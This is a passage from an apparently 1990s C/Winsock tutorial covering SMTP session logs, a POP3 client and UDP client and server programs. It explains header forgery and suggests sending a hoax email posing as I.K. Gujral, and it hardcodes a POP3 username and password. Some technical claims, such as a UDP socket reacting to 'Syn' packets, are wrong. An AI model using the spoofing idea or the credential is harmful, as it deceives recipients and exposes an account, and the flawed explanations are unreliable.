You see that he comes back and responds to us by saying Hello in proper English. He also says that he is pleased to meet us - well why shouldn’t he be pleased. After all, we have our own inborn charisma. But if he greets you in the same way, then why should he be pleased, for heavens sake, we don’t know. So far, there has never been a time when we were pleased to see you - let alone meet you. This can be called as the facination of the horrible. You also see some IP address in between. Don’t worry, this is your present IP address, given to you by the I.S.P. i.e. V.S.N.L.

The next step is to send a ‘ MAIL FROM: ’ and an E-Mail address. The sender can be any Tom, Dick and Harry but the name specified should be within the angle brackets, i.e. ‘ < > ‘. It does not matter even if you do not specify any name within these brackets. At the end of this command also, you have to give a ‘\r\n’ to say that it is the end of the command.

Now you again have to wait for a response from the server. This server now will come back and tell you that the E-Mail address sent by us is a valid E-Mail address. The output until now in the file "sz.txt" is shown below.

connect 0
recv 91 R 220 giasbm01.vsnl.net.in ESMTP Sendmail 8.7.6/8.7.3; Sat, 6 Dec 1997 20:14:14 +0530 (IST)
send 16 
recv 68 R 250 giasbm01.vsnl.net.in Hello [202.54.29.65], pleased to meet you
send 38 
recv 45 R 250 <abc@giasbm01.vsnl.net.in>.. Sender ok

Now what does this show ? Even if any Tom, Dick and Harry had sent the E-Mail, the server would still have said that the sender was O.K.

So far we have not mentioned to whom the E-Mail is supposed to be sent to. By using the command " RCPT TO: " followed by the name of the person who is to receive the packet, we can tell the server the destination of this message. You also have to end the command with the usual ‘ \r\n ’. Why should we say " RCPT TO: " and not something else? Well that is the syntax. If you want to send an E-Mail you better follow these rules or forget about sending your mail.

We have, once again, to wait for a response from the server. The server now reponds with the data upto now in the "bb.txt" file as shown below.

connect 0
recv 91 R 220 giasbm01.vsnl.net.in ESMTP Sendmail 8.7.6/8.7.3; Sat, 6 Dec 1997 20:14:14 +0530 (IST)
send 16 
recv 68 R 250 giasbm01.vsnl.net.in Hello [202.54.29.65], pleased to meet you
send 38 
recv 45 R 250 <abc@giasbm01.vsnl.net.in>.. Sender ok
send 40 
recv 18 R 250 Recipient ok

This message will however, come only if the name and the E-Mail address of the person - who is to receive the packet - is correct.

Before you send your E-Mail message, you have to tell the server that the header part is over and the message part is beginning. You can inform the server about this by merely sending the command ‘ DATA ’. By sending ‘ DATA ’, you are not only telling the server that the header part is over, but also, that you are now going to start sending the actual message. Once again, you have to wait for a response from the server. The moment you send ‘DATA’ the server will come back and tell you the following.

connect 0
recv 91 R 220 giasbm01.vsnl.net.in ESMTP Sendmail 8.7.6/8.7.3; Sat, 6 Dec 1997 20:14:14 +0530 (IST)
send 16 
recv 68 R 250 giasbm01.vsnl.net.in Hello [202.54.29.65], pleased to meet you
send 38 
recv 45 R 250 <abc@giasbm01.vsnl.net.in>.. Sender ok
send 40 
recv 18 R 250 Recipient ok
send 6 
recv 50 R 354 Enter mail, end with "." on a line by itself

From the output in this file, you can conclude that you can keep sending your message (E-Mail). After you have finished sending the E-Mail, you should end it with a ‘ . ’ as a separate command, all by itself. This is the best part. You can keep sending data line by line - each line ending with a \r\n - for as long as you want to, without waiting for a receive. You can check this in your "sz.txt" file. When the message is over, you merely send it a ‘ . ’ and end it with a ‘\r\n’ to show that the command is now complete.

The moment you send a ‘ . ’ you have to wait for a response from the server who will respond with the following message.

connect 0
recv 91 R 220 giasbm01.vsnl.net.in ESMTP Sendmail 8.7.6/8.7.3; Sat, 6 Dec 1997 20:14:14 +0530 (IST)
send 16 
recv 68 R 250 giasbm01.vsnl.net.in Hello [202.54.29.65], pleased to meet you
send 38 
recv 45 R 250 <abc@giasbm01.vsnl.net.in>.. Sender ok
send 40 
recv 18 R 250 Recipient ok
send 6 
recv 50 R 354 Enter mail, end with "." on a line by itself
send 13 
send 35 
send 27 
send 25 
send 7 
send 13 
send 3 
recv 44 R 250 UAA20380 Message accepted for delivery

That means that the server has accepted your message and will forward it to the E-Mail address specified in the ‘ RCPT TO: ’ command.

If you want to send another message you can send multiple messages one after another. But if you have finished sending all your messages, you have to send the sever a ‘ QUIT ’ followed by the usual ‘ \r\n ’. This is to tell him that we have finished with sending E-Mail’s and that he can close the the connection now. We again have to wait for the server to respond back with a message. This message can be seen in the last line of our file "sz.txt".

connect 0
recv 91 R 220 giasbm01.vsnl.net.in ESMTP Sendmail 8.7.6/8.7.3; Sat, 6 Dec 1997 20:14:14 +0530 (IST)
send 16 
recv 68 R 250 giasbm01.vsnl.net.in Hello [202.54.29.65], pleased to meet you
send 38 
recv 45 R 250 <abc@giasbm01.vsnl.net.in>.. Sender ok
send 40 
recv 18 R 250 Recipient ok
send 6 
recv 50 R 354 Enter mail, end with "." on a line by itself
send 13 
send 35 
send 27 
send 25 
send 7 
send 13 
send 3 
recv 44 R 250 UAA20380 Message accepted for delivery
send 6 
recv 45 R 221 giasbm01.vsnl.net.in closing connection

This shows that the S.M.T.P. server has understood our ‘ QUIT ’ message and has closed down our connection with it.

This is your S.M.T.P. server. Now don’t you think that this is a stupid protocol. Stupid because the ‘ MAIL FROM ’ and the ‘ RCPT TO ’ has no connection with the ‘ TO ‘ and the ‘ FROM ’ we had sent after we said ‘ DATA ’. The S.M.T.P. protocol explicitly says that after ‘ DATA ’, the S.M.T.P. server is not supposed to read or add anything at all and because of this we have a problem. When sending the E-Mail in the ‘ MAIL FROM ’, anybody’s name can be written and the S.M.T.P. server will not care whose name it is. In the ‘ RCPT TO: ’ you have to specify the actual name and E-Mail address of the person who is supposed to receive the packet. Now you have to understand that even though we are specifying these things to the S.M.T.P. server, they are not transmitted across to the other person. i.e. the person who receives the packet cannot come to know the person who actually sent him the package. What he will receive is the " TO " and " FROM " after " DATA ". Now if we want to fool the person who is on the receiving end of the packet, you just have to give his name in the " TO " and when you say " FROM " you can say that it is from " Mr. I.K.Gujral", and in the message you can tell him that he has been appointed as a special advisor to the Finance Minister of India. From this you can imply that E-Mail cannot be trusted. This is the main reason we say that the S.M.T.P. protocol is stupid. Now we know that you will argue with us saying S.M.T.P. is not stupid but, it is the height of stupidity. You can never trust any of the E-Mail you receive, for the simple reason that the message may turn out to be a hoax.

If this protocol is so stupid then you may be wondering why people send E-Mail’s and why is the S.M.T.P. important ? This server is needed for the simple reason that when you want to send someone an E-Mail message, and the concerned person is not on-line, then you cannot send him the E-Mail directly. If you want to, you can keep trying at different times, to see if he is available on-line. We certainly don’t want to keep trying. The S.M.T.P. server helps us with this problem. Now if we send the S.M.T.P. server a message, and if the other party is not on-line, then the server keeps trying to send the E-Mail every half an hour or an hour (this timing is customised by the person who is to be contacted by the server). After a certain period of time (which again can be customised) the S.M.T.P. server sends you a bounce back, saying an error has occured or server down or any of the umpteen execuses it can think of. Now remember if the E-Mail address of the person is incorrect then the S.M.T.P. server will send the bounce back of the packet immediately.

S.M.T.P. protocol is also known as a Lock-step Protocol. Now what do you mean by a Lock-step Protocol ? Lock-step means that whenever you send something to the server you have to wait for a reply. Now this makes the process of sending an E-Mail very slow - because of the many ‘ send’s ‘ and ‘ receive’s ’ it is made up of.

This protocol is also given another name i.e. Push Protocol. Push in the sense that they are pushing packets on to the S.M.T.P. server, not bothering to check whether the other person is receiving the packet or not.

The way this protocol works can be summarised in the following steps:

You can now sign off by sending it a ‘ QUIT ’message.

 " POST OFFICE PROTOCOL Ver -3 (POP3) " 

Now that we have sent our packet to the S.M.T.P. server, imagine yourself on the other side i.e. you are the person who receives the mail from a friend. All the E-Mail that you receive is stored in a your S.M.T.P. server. How will you retrive the message from the S.M.T.P. server? For retriving the packet/mail from the S.M.T.P. server you need another set of protocols because now your push protocol will not work - remember that we had told you that the S.M.T.P. protocol is also called as the push protocol. You need another set of protocols, which will help you to pull the messages from the S.M.T.P. server. This set of protocols is called as the Post Office Protocol better known as POP3 - 3 because that is it's version number. This set of protocols are nicknamed as the Pull protocols.

 So let’s learn how to write a POP3 program.

 #include <windows.h>
#include <stdio.h>
void abc(char *p)
{ 
         FILE *fp=fopen("c:\\pz.txt","a+");
fprintf(fp,"%s\n",p);
fclose(fp);
}
struct sockaddr_in A;
WSADATA W;
SOCKET S;
char aa[60000];
int i;
char R[60000];
_stdcall WinMain(HINSTANCE ii, HINSTANCE j, char * k, int l)
{
WSAStartup (0x101, &W);
S = socket(AF_INET, SOCK_STREAM,0);
A.sin_family=AF_INET;
A.sin_port = htons(110);
A.sin_addr.s_addr=inet_addr("202.54.1.18");
i=connect(S,(struct sockaddr *) &A,sizeof(A));
sprintf(aa,"connect %d",i);
abc(aa);
i=recv(S,R,10000,0);
sprintf(aa,"recv %d R %s",i,R);
abc(aa);
strcpy(R,"USER vijay1\r\n");
i=send(S,R,strlen(R),0);
sprintf(aa,"send %d ",i);
abc(aa);
i=recv(S,R,10000,0);
sprintf(aa,"recv %d R %s",i,R);
abc(aa);
strcpy(R,"PASS a1111d0\r\n");
i=send(S,R,strlen(R),0);
sprintf(aa,"send %d ",i);
abc(aa);
i=recv(S,R,10000,0);
sprintf(aa,"recv %d R %s",i,R);
abc(aa);
strcpy(R,"STAT\r\n");
i=send(S,R,strlen(R),0);
sprintf(aa,"send %d ",i);
abc(aa);
i=recv(S,R,10000,0);
sprintf(aa,"recv %d R %s",i,R);
abc(aa);
strcpy(R,"RETR 1\r\n");
i=send(S,R,strlen(R),0);
sprintf(aa,"send %d ",i);
abc(aa);
i=recv(S,R,60000,0);
sprintf(aa,"recv %d ",i);
abc(aa);
sprintf(aa,"R... %s",R);
abc(aa);
i=recv(S,R,60000,0);
sprintf(aa,"recv %d ",i);
abc(aa);
sprintf(aa,"R... %s",R);
abc(aa);
MessageBox(0,"hi","over",0);
return 0;
}

Now looking at the first few lines of this program you will wonder at it's similarity with the S.M.T.P. server. So we shall skip through the first few lines of code as they are the same as that of the S.M.T.P. server. The POP3 server also works on the same principle as that of the S.M.T.P. server with the only difference that here the port number changes i.e. port number 110 is for the POP3 server.

Just as in the case of an S.M.T.P. server, you have to first connect to the POP3 server. Your S.M.T.P. server along with your POP3 server at V.S.N.L. handles all your E-Mail. So every person has both, the S.M.T.P. server and the POP3 server, running at the same time. He cannot have one without the other. You can compare this with a car and it's wheels. You cannot have a car moving without wheels or vice-versa. Both together are to be used to run your server

After you connect to the POP3 server you have to wait on a receive i.e. a ‘ recv( ) ’ function. The ‘ recv() ’ function used in this program, is the same as in the case of the S.M.T.P. server program. The POP3 server will now come back and say that you are now connected.

The reply given by the POP3 server upto this point can be seen in the "pz.txt" file as shown below.

connect 0
recv 95 R +OK QUALCOMM Pop server derived from UCB (version 2.1.4-R3) at giasbm01.vsnl.net.in starting.
 

After we receive this message from the server we have to now send the ‘ User Name ’ and the ‘ Password ‘. If you don’t give the POP3 server either the User Name or the Password, or you give an incorrect User Name or Password, then you will not be able to connect to the server.

You notice that you do not require a password while sending E-Mail. This is because, just about anybody can send you an E-Mail. Hence the S.M.T.P. server does not require a password. But then when you get an E-Mail in your POP3 server, then nobody should be able to access the mail present in your server. Mail is supposed to be personal, and if there is no privacy then we can bet that more that 50 % of the population - like you - would love to read other people’s mail and would do so by going to the POP3 server.

Now after you send your password you have to wait till the POP3 server verifies your password. If your password is correct he replies you with the following message.

connect 0
recv 95 R +OK QUALCOMM Pop server derived from UCB (version 2.1.4-R3) at giasbm01.vsnl.net.in starting.
send 13 
recv 35 R +OK Password required for vijay1.

After you receive the confirmation of the password you have to send a "STAT". This is nothing but a short form for statistics i.e. you are asking the POP3 server the number and size of the messages that are stored on your server. If you have received mail, the following message will be seen in the "pz.txt" file.

connect 0
recv 95 R +OK QUALCOMM Pop server derived from UCB (version 2.1.4-R3) at giasbm01.vsnl.net.in starting.
send 13 
recv 35 R +OK Password required for vijay1.
send 13 
recv 44 R +OK vijay1 has 2 message(s) (1430 octets).
send 6 
recv 12 R +OK 2 1430

In our output, the POP3 server has come back and told us that there are 2 messages waiting for us. Here, 1430 octets is the total size of the messages received by us.

We know that there are 2 messags waiting for us on the server. How do we retrive these messages from the server? We have to send the server a "RETR 1". This "RETR 1" is nothing but the syntax in which retrive is written. When we say "RETR 1" we are actually asking our program to retrive the first message from the server. Now the server will come back and tell us the size of the message we want to retrive.

connect 0
recv 95 R +OK QUALCOMM Pop server derived from UCB (version 2.1.4-R3) at giasbm01.vsnl.net.in starting.
send 13 
recv 35 R +OK Password required for vijay1.
send 13 
recv 44 R +OK vijay1 has 2 message(s) (1430 octets).
send 6 
recv 12 R +OK 2 1430
send 8
recv 16 
R... +OK 455 octets

Now we know the size of our message. If the size of the message is big then you can put a loop to your ‘ recv() ’ function and retrive the message in small chunks. The message which we got is displayed as under.

connect 0
recv 95 R +OK QUALCOMM Pop server derived from UCB (version 2.1.4-R3) at giasbm01.vsnl.net.in starting.
send 13 
recv 35 R +OK Password required for vijay1.
send 13 
recv 44 R +OK vijay1 has 2 message(s) (1430 octets).
send 6 
recv 12 R +OK 2 1430
send 8
recv 16 
R... +OK 455 octets
recv 415 
R... Received: from vijay.com ([202.54.29.65]) by giasbm01.vsnl.net.in (8.7.6/8.7.3) with SMTP id UAA20380 for <vijay1@giasbm01.vsnl.net.in>; Sat, 6 Dec 1997 20:14:15 +0530 (IST)Message-Id: <199712061444.UAA20380@giasbm01.vsnl.net.in>To: aaa.com@giasbm01.vsnl.net.inX-UIDL: 881419582.001FROM: vijay1@giasbm01.vsnl.net.inDATE: 6 Dec 97 20:14 PSTMESSAGE_ID: <123@e.com>Status: UHelloHow are you
.

If you look at our S.M.T.P. program, you will understand the program better as this is the same message we had sent through our S.M.T.P. program. You can now see the message that has been sent to you.

Now after you retrived the E-Mail on to your server, you’d want to delete the E-Mail from the POP3 server. For deleting from the POP3 server, you have to say ‘ DELE 1’. This will delete the first E-Mail from the POP3 server. Then you can say "RETR 2" to get in your second message, you can put even the " RETR " into a ‘ for ’ loop and retrive the E-Mail one after another.

Now if you don’t delete the messages from your POP3 server, then one fine day you will find your server cluttered with a bundle of old and worthless messages. So you’ll always find a delet option with your POP3 server.

Now the only problem with the POP3 server is that when you send your password to the server it is going as a plain text and now if someone has tapped your phone lines to the ISP everyone who is doing a POP3 or sending E-Mail through you phone line will come to know your password.

Now don’t get into a cold sweat, the person will first have to tap your phone lines and only then can they get to know your password.

So far we have learnt something which though it is slow it is reliable. We shall now learn something which is very fast though it is a bit unreliable viz. The User Datagram Protocol better known as the U.D.P.

" USER DATAGRAM PROTOCOL ( U.D.P ) -Server & Client "

We know that our TCP/IP protocol, though reliable, is a bit slow. This is because TCP waits for an acknowledgement each time a packet is sent. Let us now see why we have to learn the U.D.P. protocol even though this protocol is not as reliable as TCP. Let's suppose that we are interested in music and we listen to Internet radio. Imagine ourselves connected to some site and listening to the latest music there. During transmission, suppose one of the packets gets lost, what happens?

With TCP, we know that he will wait until he receives that packet from the server before continuing with the music. We cannot ask the person listening to the music to hold on for some time till TCP retrives the packet.

Internet radio has to be ‘ Real Time ’ though you may argue there is no such thing as ‘ Real Time ’. In reality, even when we speak, the other person will hear our sound after a certain time has elapsed, even if it is a mere 1/100th of a second later. But you have to understand that once the voice reaches the other person, it becomes ‘ Real Time ’. Now if you are using Internet radio etc you can’t have the user wait for even a short period of time. TCP shouldn’t ask a listener to hold on until he receives a packet which might have been lost. If we do then the audio quality may drop. Using TCP, the ser0ver is forced to wait, because the TCP will wait for an ' Ack ' from us. For such things, we need another set of protocols, which does not wait for these stupid ' Acks' - stupid because if the bytes do not come at the required time, then it is no use to the listener. The protocol should not be as complicated as the TCP protocol. This protocol which does not wait for the ' Ack ' is the U.D.P. or the User Datagram Protocol. This protocol has only eight bytes - no wonder it is said to be a wrapper to IP. These bytes are made up of source port number, destination port number, U.D.P. length and check sum. The check sum is optional. The header bytes of the U.D.P. can be seen in the following table.

 Source Port

Source Port

Destination Port

Destination Port

U.D.P. Length

U.D.P. Length

Check Sum

Check Sum

 So you realise that you do not need to know anything more than the port numbers for using the U.D.P.

With this information we can now create a server using U.D.P.

" U.D.P. - Server "

When you see the first few lines of code you would notice it's similarity with the HTTP server.

#include <windows.h>
#include <stdio.h>
 
WNDCLASS a;
HWND b;
MSG c;
char aa[200];
char bb[20000];
int xx;
int dw;
WSADATA ws;
SOCKET s,s1,s2;
int d,d1,d2,dd;
struct sockaddr_in A,A1,B;
 
long _stdcall zzz (HWND,UINT,WPARAM,LPARAM);
void abc(char *p)
{ 
        FILE *fp=fopen("c:\\z.txt","a+");
        fprintf(fp,"%s\n",p);
        fclose(fp);
}
int _stdcall WinMain(HINSTANCE i,HINSTANCE j,char *k,int l)
{
 
        a.lpszClassName="a1";
        a.hInstance=i;
        a.lpfnWndProc=zzz;
        a.hbrBackground=GetStockObject(WHITE_BRUSH);
        RegisterClass(&a);
b=CreateWindow("a1","aaa",WS_OVERLAPPEDWINDOW,1,1,10,20,0,0,i,0);
        ShowWindow(b,3);
        while ( GetMessage(&c,0,0,0) )
               DispatchMessage(&c);
        return 1;
}
 
long _stdcall zzz (HWND w,UINT x,WPARAM y,LPARAM z)
{
        if ( x == WM_LBUTTONDOWN)
        {
               d=WSAStartup(0x0101,&ws);
               sprintf(aa,"WSASTARTUP = %ld",d);
               abc(aa);
               s=socket(AF_INET,SOCK_DGRAM,0);
               sprintf(aa,"SOCKET = %ld",s);
               abc(aa);
               A.sin_family=AF_INET;
               A.sin_port = htons(13);
               A.sin_addr.s_addr = INADDR_ANY;
               d=bind(s,(struct sockaddr *)&A,sizeof(A));
               sprintf(aa,"BIND = %ld",d);
               abc(aa);
               MessageBox(0,aa,aa,0);
               dw = sizeof(A);
               d = recvfrom(s,bb,100,0,(sockaddr *)&A,&dw);
               sprintf(aa,"Recvfrom = %ld.bb = %s",d,bb);
               abc(aa);
               MessageBox(0,aa,aa,0);
               MessageBox(0,"The","End",0);
        }
        if ( x == WM_DESTROY)
               PostQuitMessage(0);
        return DefWindowProc(w,x,y,z);
}

There are mainly three differences when you compare it with the HTTP server. The first difference is in the function ‘ socket()’. The ‘ socket() ‘ function of this program returns only the protocol used, which is IP/U.D.P. Now you may wonder as to how does the ‘ SOCKET s ’ know that it is using U.D.P.? You may notice that the ‘ socket() ‘ function is passed three parameters as usual. The first parameter we know is the Macro which represents IP. Now the second parameter viz. ‘ SOCK_DGRAM ’ is the parameter which indicates that it is U.D.P. So when your socket sees this Macro it knows that it is U.D.P.

The second difference is the port number - which is 13. This port number stands for the Time Server port.

The third difference is the use of the function ‘ recvfrom() ’. There was no ‘ recvfrom() ’ function in the HTTP server program, but instead, there is a ‘ recv() ’ function. Now you may wonder as to why we don’t stick to functions like ‘ recv() ’ which we have already learnt and are familiar with. In programs that use the TCP protocol, there is an ‘ accept() ’ function which helped the vaiable that looked like the Macro ‘ SOCKET ’ know the port number, IP address etc of the connecting machine. The programs using the U.D.P., do not have an ‘ accept() ’ function, and hence, the SOCKET ‘ s ’ does not know anything about the connecting machine.

Let us understand what we have accomplished with our program, so far. In this program, we have a ‘ bind() ‘ function, which does the same thing as in the case of the HTTP server. The function ‘ bind() ’, is used to tie up the socket - along with the server - to a port. This port has been specified as 13 i.e. the Time Server port., in our program. This means that this function ‘ bind() ’, tells the TCP/IP stack that whenever it receives a packet with the ' Syn ' flag ‘ on ’, with the port number as 13 and any IP address, then the packet should be directed immediately to our server, i.e. the Time Server. So now, whenever any client wants to contacts a server with our IP address for any file, he will get directed to our Time Server.

We then have a ‘ recvfrom() ‘ function. This function is passed six parameters. The first parameter is ‘ s ’ which knows the protocol the server is to follow. The second parameter is an array ‘ bb ‘, into which, the incoming message is stored. The third parameter is the size of this array. In our program,this parameter indicates that the maximum length of the message we can receive is 100. The fourth parameter is ‘ 0 ’, hence unexplained. The fifth parameter is the address of our structure ‘A’. We have to cast this address to (sockaddr *). We have stored the size of our structure ‘A’ in a variable ‘ dw ’. The last parameter is the address of this variable.

When a client connects to our Time Server, the packet is sent directly to the function ‘ recvfrom()’. Our server is now ready to receive connections. Imagine having a server ready with so few lines of code. But then, what does your server actually do? It merely receives a message from the connecting client, nothing more, nothing less. Well, trust us and run this program on one machine. Activate your server by clicking on your window. On another machine, run the U.D.P. client program - which is explained later under the heading U.D.P. client. When you execute the client program on the other machine, you will see a message on our server - the message which is sent to the server by the client. You can now see the output in the "z.txt" which looks as below.

WSASTARTUP = 0
SOCKET = 3
BIND = 0
Recvfrom = 100.bb = Hello, How are you ?

This is the message which is sent by the client to our server in the client program. Now that we have received something from the client, it is our moral duty to return something to the connecting client. So in our next program we shall send the client a message.

#include <windows.h>
#include <stdio.h>
 
WNDCLASS a;
HWND b;
MSG c;
char aa[200];
char bb[20000];
long _stdcall zzz (HWND,UINT,WPARAM,LPARAM);
WSADATA ws;
SOCKET s;
int d;
struct sockaddr_in A;
 
void abc(char *p)
{ 
        FILE *fp=fopen("c:\\z.txt","a+");
        fprintf(fp,"%s\n",p);
        fclose(fp);
}
 
int _stdcall WinMain(HINSTANCE i,HINSTANCE j,char *k,int l)
{
        a.lpszClassName="a1";
        a.hInstance=i;
        a.lpfnWndProc=zzz;
        a.hbrBackground=GetStockObject(WHITE_BRUSH);
        RegisterClass(&a);
b=CreateWindow("a1","aaa",WS_OVERLAPPEDWINDOW,1,1,10,20,0,0,i,0);
        ShowWindow(b,3);
        while ( GetMessage(&c,0,0,0) )
               DispatchMessage(&c);
        return 1;
}
 
long _stdcall zzz (HWND w,UINT x,WPARAM y,LPARAM z)
{
        if ( x == WM_LBUTTONDOWN)
        {
               d=WSAStartup(0x0101,&ws);
               sprintf(aa,"WSASTARTUP = %ld",d);
               abc(aa);
               s=socket(AF_INET,SOCK_DGRAM,0);
               sprintf(aa,"SOCKET = %ld",s);
               abc(aa);
               A.sin_family=AF_INET;
               A.sin_port = htons(13);
               A.sin_addr.s_addr = INADDR_ANY;
               d=bind(s,(struct sockaddr *)&A,sizeof(A));
               sprintf(aa,"BIND = %ld",d);
               abc(aa);
               MessageBox(0,aa,aa,0);
               int dw = sizeof(A);
               d = recvfrom(s,bb,100,0,(sockaddr *)&A,&dw);
               sprintf(aa,"Recvfrom = %ld.bb = %s",d,bb);
               abc(aa);
               strcpy(bb,"Hi, I am fine, Thank you");
               d = sendto(s,bb,100,0,(sockaddr *)&A,sizeof(A));
               sprintf(aa,"Message Sent to client = %ld.bb = %s",d,bb);
               abc(aa);
               MessageBox(0,aa,aa,0);
               MessageBox(0,"The","End",0);
        }
        if ( x == WM_DESTROY)
               PostQuitMessage(0);
        return DefWindowProc(w,x,y,z);
}

On execution of this program, along with the second U.D.P. client program, you will see that you now first receive a message from the client. You know from the previous program that this message says " Hello, How are you?". You have to use the ‘ sendto() ’ function to send a response to the client. This function has to be passed six parameters. The first parameter is ‘ s ’, which specifies the protocol being used. The second parameter is the array ‘ bb ’, where you have stored the message you want to send to the connecting client. The third parameter is the size of the array. The fourth is ‘ 0 ‘, hence unexplained. The fifth parameter is the structure ‘ A ’, which looks like ‘ sockaddr_in ’ and which has the port number and the IP address of the incoming connection. Of course, you have to cast it to (sockaddr *), as always. The last parameter is the size of this structure ‘ A ’.

Now you are also sending a message to the client as your response. The client was polite in inquiring about you. So you have to respond back in a polite manner. You will now be able to see this message which you sent from the server side, displayed in machine where the U.D.P. client program is running. You will see the output of the server in the "z.txt" as shown below.

WSASTARTUP = 0
SOCKET = 3
BIND = 0
Recvfrom = 100.bb = Hello, How are you ?
Message Sent to client = Hi, I am fine, Thank you

This is your U.D.P. server. You see how simple it is to create a server using U.D.P. There is no hassles, no complications which we had to face while doing the HTTP server.

" U.D.P. - Client "

Now that you have finished creating the U.D.P. server, you will see that creating the U.D.P. client is even simpler. So let’s start with our U.D.P. client program with the following lines of code.

# include<windows.h>
# include<stdio.h>
 
WNDCLASS a;
HWND b;
MSG c;
WSADATA ws;
char aa[200];
SOCKET s;
int dw;
DWORD e;
struct sockaddr_in sa;
char *str;
char bb[100];
long _stdcall zzz(HWND w,UINT x,WPARAM y,LPARAM z);
 
void abc(char *p)
{
        FILE *fp=fopen("c:\\b.txt","a+");
        fprintf(fp,"%s\n",p);
        fclose(fp);
}
_stdcall WinMain(void *i,void *j,char *k,int l)
{
a.lpszClassName="guju";
a.hInstance=i;
a.hbrBackground=GetStockObject(WHITE_BRUSH);
a.lpfnWndProc=zzz;
RegisterClass(&a);
b=CreateWindow("guju","tclient",WS_OVERLAPPEDWINDOW,1,1,10,20,0,0,i,0);
ShowWindow(b,3);
while(GetMessage(&c,0,0,0))
DispatchMessage(&c);
return 1;
}
long _stdcall zzz(HWND w,UINT x,WPARAM y,LPARAM z)
{
        if(x==WM_LBUTTONDOWN)
        {
               e=WSAStartup(0x0101,&ws); 
               sprintf(aa,"WSASTARTUP = %ld\n",e);
               abc(aa);
               s=socket(PF_INET,SOCK_DGRAM,0);
               sprintf(aa,"SOCKET = %ld\n",s);
               abc(aa);
               sa.sin_family=AF_INET; 
               sa.sin_port=htons(13); 
               sa.sin_addr.s_addr=inet_addr("70.0.0.7");
               strcpy(bb,"Hello, How are you ?"); 
               e=sendto(s,bb,100,0,(struct sockaddr *)&sa,sizeof(sa));
               abc(bb);
               sprintf(aa,"Send to = %ld",e);
               MessageBox(0,aa,aa,0);
               abc(aa);
        }
        if (x==WM_DESTROY)
        PostQuitMessage(0);
        return DefWindowProc(w,x,y,z);
}                              

Here, you will notice three things when you compare this program to your HTTP client. The first thing you will notice is the port number which is ‘ 13 ’. This is the port number of the Time Server. The second thing you will notice is that the U.D.P. client does not have a ‘ connect() ’ function. A U.D.P. client does not believe in a ‘ connect() ‘ function. You just create a socket and send something to a U.D.P. server.

The third difference is in the function ‘ socket() ’. This function has to be passed three parameters as usual. The first parameter is ‘ PF_INET ‘ and it stands for the IP protocol. Don’t worry, the Macros ‘ AF_INET ‘ and the ‘ PF_INET ‘ mean one and the same thing. It is immaterial in this program whether you use ‘ PF_INET ‘ or ‘ AF_INET ‘. The second parameter is ‘ SOCK_DGRAM ‘, and when your ‘ socket() ’ function sees this Macro, he knows that it is the U.D.P. protocol. The last parameter is ‘ 0 ‘ and it is our privilege not to explain what it stands for.

In our ‘ sendto() ‘ function we are sending the server a message. Now why do we need a ‘ sendto() ’ function and not the good old ‘ send() ‘ function used in the HTTP client? When we created our HTTP client, we had first connected to the HTTP server through a function called ‘ connect() ’. Because of this function, our ‘ SOCKET ’ variable knew the port number and destination IP address of the server we wanted to connect to. But, in this program, there is no such thing as a ‘ connect() ’ function. Hence, we cannot use ‘ send() ’ function which we had used in the HTTP client. We have no option but to use the ‘ sendto() ’ function. We give this function a structure ‘ sa ’ which looks like ‘ sockaddr_in ‘. We initialise three members of structure ‘ sa ’ viz. ‘ sin_family ’,’ sin_port ’ and ‘ sin_add.s_addr ’ to the IP protocol, the port number of the server we want to connect to and it's IP address, respectively.

The ‘ sendto() ’ function has to be passed six parameters. The first parameter is ‘ s ’. The second parameter passed is the array in which your message is stored. The third is the size of the message you want to send to the server. The fourth parameter is ‘ 0 ‘. Now we really wanted to explain what this ‘ 0 ‘ stands for. But the moment we sat down to write the explanation, we had a phone call from the President of " The ‘ 0 ’ Parameters Inc. ". It reminded us of our promise to them, that we would never explain a parameter with the value as ‘ 0 ‘.Hence, we were forced to discard our idea of explaining this parameter. The fifth parameter is the address of the structure which looks like ‘ sockaddr_in ‘, and of course, we have to cast it just like in the HTTP client. The last parameter is the size of this structure i.e. the structure which we passed as the fifth parameter. We have now sent a message to the U.D.P. server.

Now remember the U.D.P. server we had created previously ? Well, there we had asked you to run that program, along with the U.D.P. client step by step. So now, when you had clicked on your window i.e. client window, you would have seen the U.D.P. server getting a MessageBox with our message in it. Now let’s look at the output of our client program in the "b.txt" file which looks as shown below.

WSASTARTUP = 0
SOCKET = 3
Hello, How are you ?
Send to = 100

The WSAStartup returns ‘ 0 ‘. The ‘ socket() ’ returns a positive number. Next is the message you have sent to the server and the last line shows you the size of the message you have sent - remember the third parameter of the ‘ sendto() ’ function. Now lets receive something from the server. In the next program we are using the function ‘ recvfrom() ’ in which we can receive messages sent by the server.

# include<windows.h>
# include<stdio.h>
 
struct sockaddr_in sa;
WNDCLASS a;
HWND b;
MSG c;
WSADATA ws;
SOCKET s;
DWORD e;
int dw;
char *str;
char aa[200];
char bb[100];
long _stdcall zzz(HWND w,UINT x,WPARAM y,LPARAM z);
 
void abc(char *p)
{
        FILE *fp=fopen("c:\\b.txt","a+");
        fprintf(fp,"%s\n",p);
        fclose(fp);
}
 
 
_stdcall WinMain(void *i,void *j,char *k,int l)
{
a.lpszClassName="guju";
a.hInstance=i;
a.hbrBackground=GetStockObject(WHITE_BRUSH);
a.lpfnWndProc=zzz;
RegisterClass(&a);
b=CreateWindow("guju","tclient",WS_OVERLAPPEDWINDOW,1,1,10,20,0,0,i,0);
ShowWindow(b,3);
while(GetMessage(&c,0,0,0))
DispatchMessage(&c);
return 1;
}
 
long _stdcall zzz(HWND w,UINT x,WPARAM y,LPARAM z)
{
        if(x==WM_LBUTTONDOWN)
        {
               e=WSAStartup(0x0101,&ws); 
               sprintf(aa,"WSASTARTUP = %ld\n",e);
               abc(aa);
               s=socket(PF_INET,SOCK_DGRAM,0);
               sprintf(aa,"SOCKET = %ld\n",s);
               abc(aa);
               sa.sin_family=AF_INET; 
               sa.sin_port=htons(13); 
               sa.sin_addr.s_addr=inet_addr("70.0.0.3");
               strcpy(bb,"Hello, How are you ?"); 
               e=sendto(s,bb,100,0,(struct sockaddr *)&sa,sizeof(sa));
               abc(bb);
               sprintf(aa,"Send to = %ld",e);
               abc(aa);
               dw = sizeof(sa);
               recvfrom(s,bb,100,0,(struct sockaddr *)&sa,&dw);
               sprintf(aa,"Message From Server = %s",bb);
               abc(aa);
               MessageBox(0,bb,"Data From Server",0);
               MessageBox(0,"Hi","Hi",0);
        }
        if (x==WM_DESTROY)
        PostQuitMessage(0);
        return DefWindowProc(w,x,y,z);
}                              

